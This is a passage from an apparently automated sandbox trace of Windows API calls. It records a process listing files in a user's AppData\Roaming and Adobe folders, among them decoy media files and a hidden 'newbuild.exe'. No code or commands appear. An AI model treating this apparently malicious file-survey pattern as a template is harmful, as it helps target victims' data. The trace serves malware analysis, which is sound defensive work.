ftCreationTime.dwLowDateTime=0x513e32e0, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x34b19520, ftLastAccessTime.dwHighDateTime=0x1d5e1d3, ftLastWriteTime.dwLowDateTime=0x34b19520, ftLastWriteTime.dwHighDateTime=0x1d5e1d3, nFileSizeHigh=0x0, nFileSizeLow=0xe060, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyUJ9Oc9qjz9.png", cAlternateFileName="IYUJ9O~1.PNG")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49ec7d80, ftCreationTime.dwHighDateTime=0x1d5d989, ftLastAccessTime.dwLowDateTime=0xcb6b1500, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0xcb6b1500, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x9186, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTiYSZUtY1CU 0J.xls", cAlternateFileName="JTIYSZ~1.XLS")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec053380, ftCreationTime.dwHighDateTime=0x1d5da8f, ftLastAccessTime.dwLowDateTime=0x8a215db0, ftLastAccessTime.dwHighDateTime=0x1d5dc29, ftLastWriteTime.dwLowDateTime=0x8a215db0, ftLastWriteTime.dwHighDateTime=0x1d5dc29, nFileSizeHigh=0x0, nFileSizeLow=0x62d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kf5QM.bmp", cAlternateFileName="")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961bdfe0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x27deb4b0, ftLastAccessTime.dwHighDateTime=0x1d5de34, ftLastWriteTime.dwLowDateTime=0x27deb4b0, ftLastWriteTime.dwHighDateTime=0x1d5de34, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="KpXtA.mp4", cAlternateFileName="")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1210e290, ftCreationTime.dwHighDateTime=0x1d5dbf3, ftLastAccessTime.dwLowDateTime=0x544aba80, ftLastAccessTime.dwHighDateTime=0x1d5e5e6, ftLastWriteTime.dwLowDateTime=0x544aba80, ftLastWriteTime.dwHighDateTime=0x1d5e5e6, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="kW5fmqW4_z.mp4", cAlternateFileName="KW5FMQ~1.MP4")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57eb8ec0, ftCreationTime.dwHighDateTime=0x1d5e303, ftLastAccessTime.dwLowDateTime=0xc45e8d30, ftLastAccessTime.dwHighDateTime=0x1d5ddce, ftLastWriteTime.dwLowDateTime=0xc45e8d30, ftLastWriteTime.dwHighDateTime=0x1d5ddce, nFileSizeHigh=0x0, nFileSizeLow=0xc25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LCbJETGa9i0NIdyg.gif", cAlternateFileName="LCBJET~1.GIF")) returned 1 [0197.614] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c61fb20, ftCreationTime.dwHighDateTime=0x1d5e330, ftLastAccessTime.dwLowDateTime=0x66c07cf0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0x66c07cf0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x8045, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeVC4R4Jy87myyMXKVE.mp3", cAlternateFileName="MEVC4R~1.MP3")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x722ca29e, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x722ca29e, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505f3a00, ftCreationTime.dwHighDateTime=0x1d5de47, ftLastAccessTime.dwLowDateTime=0x76560340, ftLastAccessTime.dwHighDateTime=0x1d5ddc2, ftLastWriteTime.dwLowDateTime=0x76560340, ftLastWriteTime.dwHighDateTime=0x1d5ddc2, nFileSizeHigh=0x0, nFileSizeLow=0x6ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPwOkD3sA M6DsljYpoq.avi", cAlternateFileName="MPWOKD~1.AVI")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf87a80, ftCreationTime.dwHighDateTime=0x1d5da4a, ftLastAccessTime.dwLowDateTime=0x41856ce0, ftLastAccessTime.dwHighDateTime=0x1d5e818, ftLastWriteTime.dwLowDateTime=0x41856ce0, ftLastWriteTime.dwHighDateTime=0x1d5e818, nFileSizeHigh=0x0, nFileSizeLow=0xd832, dwReserved0=0x0, dwReserved1=0x0, cFileName="MR3wg-qB6_.wav", cAlternateFileName="MR3WG-~1.WAV")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x10bf1d1d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1229c398, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="newbuild.exe", cAlternateFileName="")) returned 1 [0197.615] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71acdeb0, ftCreationTime.dwHighDateTime=0x1d5dcdf, ftLastAccessTime.dwLowDateTime=0x44d6f1f0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0x44d6f1f0, ftLastWriteTime.dwHighDateTime=0x1d5e851, nFileSizeHigh=0x0, nFileSizeLow=0xdcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjR 0EuiedsrIGvP5QlO.mp3", cAlternateFileName="PJR0EU~1.MP3")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a6c8d0, ftCreationTime.dwHighDateTime=0x1d5db76, ftLastAccessTime.dwLowDateTime=0x6bbf9820, ftLastAccessTime.dwHighDateTime=0x1d5e1e0, ftLastWriteTime.dwLowDateTime=0x6bbf9820, ftLastWriteTime.dwHighDateTime=0x1d5e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x12e27, dwReserved0=0x0, dwReserved1=0x0, cFileName="stS3pwNiH96hJ.bmp", cAlternateFileName="STS3PW~1.BMP")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbbf45a0, ftCreationTime.dwHighDateTime=0x1d5e4f6, ftLastAccessTime.dwLowDateTime=0x8828a010, ftLastAccessTime.dwHighDateTime=0x1d5dcdb, ftLastWriteTime.dwLowDateTime=0x8828a010, ftLastWriteTime.dwHighDateTime=0x1d5dcdb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="tW5A.pdf", cAlternateFileName="")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a7200, ftCreationTime.dwHighDateTime=0x1d5df2a, ftLastAccessTime.dwLowDateTime=0x2304be40, ftLastAccessTime.dwHighDateTime=0x1d5e7e8, ftLastWriteTime.dwLowDateTime=0x2304be40, ftLastWriteTime.dwHighDateTime=0x1d5e7e8, nFileSizeHigh=0x0, nFileSizeLow=0x3601, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6TCz_8Oy.mp3", cAlternateFileName="W6TCZ_~1.MP3")) returned 1 [0197.616] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f3e6c0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0x87a00c80, ftLastAccessTime.dwHighDateTime=0x1d5dfb7, ftLastWriteTime.dwLowDateTime=0x87a00c80, ftLastWriteTime.dwHighDateTime=0x1d5dfb7, nFileSizeHigh=0x0, nFileSizeLow=0xef21, dwReserved0=0x0, dwReserved1=0x0, cFileName="w8KoOSYOF-A fWE4vZ_.swf", cAlternateFileName="W8KOOS~1.SWF")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376920, ftCreationTime.dwHighDateTime=0x1d5e41b, ftLastAccessTime.dwLowDateTime=0xa6e40500, ftLastAccessTime.dwHighDateTime=0x1d5dccf, ftLastWriteTime.dwLowDateTime=0xa6e40500, ftLastWriteTime.dwHighDateTime=0x1d5dccf, nFileSizeHigh=0x0, nFileSizeLow=0x17880, dwReserved0=0x0, dwReserved1=0x0, cFileName="xkgQf.mp3", cAlternateFileName="")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83be210, ftCreationTime.dwHighDateTime=0x1d5ddba, ftLastAccessTime.dwLowDateTime=0xb60a7b30, ftLastAccessTime.dwHighDateTime=0x1d5dfe6, ftLastWriteTime.dwLowDateTime=0xb60a7b30, ftLastWriteTime.dwHighDateTime=0x1d5dfe6, nFileSizeHigh=0x0, nFileSizeLow=0x12f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xYqMl0QZB.jpg", cAlternateFileName="XYQML0~1.JPG")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5835560, ftCreationTime.dwHighDateTime=0x1d5de2f, ftLastAccessTime.dwLowDateTime=0x100c04a0, ftLastAccessTime.dwHighDateTime=0x1d5e6e5, ftLastWriteTime.dwLowDateTime=0x100c04a0, ftLastWriteTime.dwHighDateTime=0x1d5e6e5, nFileSizeHigh=0x0, nFileSizeLow=0x60cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="yVsYWfkbRY3d8YshBfvx.m4a", cAlternateFileName="YVSYWF~1.M4A")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89081020, ftCreationTime.dwHighDateTime=0x1d5df37, ftLastAccessTime.dwLowDateTime=0xb8685290, ftLastAccessTime.dwHighDateTime=0x1d5e36e, ftLastWriteTime.dwLowDateTime=0xb8685290, ftLastWriteTime.dwHighDateTime=0x1d5e36e, nFileSizeHigh=0x0, nFileSizeLow=0xd6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="zKrD6DIzr.mp3", cAlternateFileName="ZKRD6D~1.MP3")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 1 [0197.617] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 0 [0197.617] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0197.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0a8) returned 1 [0197.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0b4) returned 1 [0197.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0197.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0197.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0197.618] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.618] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.618] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0197.618] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0197.619] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0197.621] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0197.622] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff098) returned 1 [0197.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0a4) returned 1 [0197.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff07c) returned 1 [0197.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0197.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12feda4 | out: lpFindFileData=0x12feda4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0197.622] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.622] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0197.622] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0197.623] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0197.623] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0197.623] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0197.623] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0197.623] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) 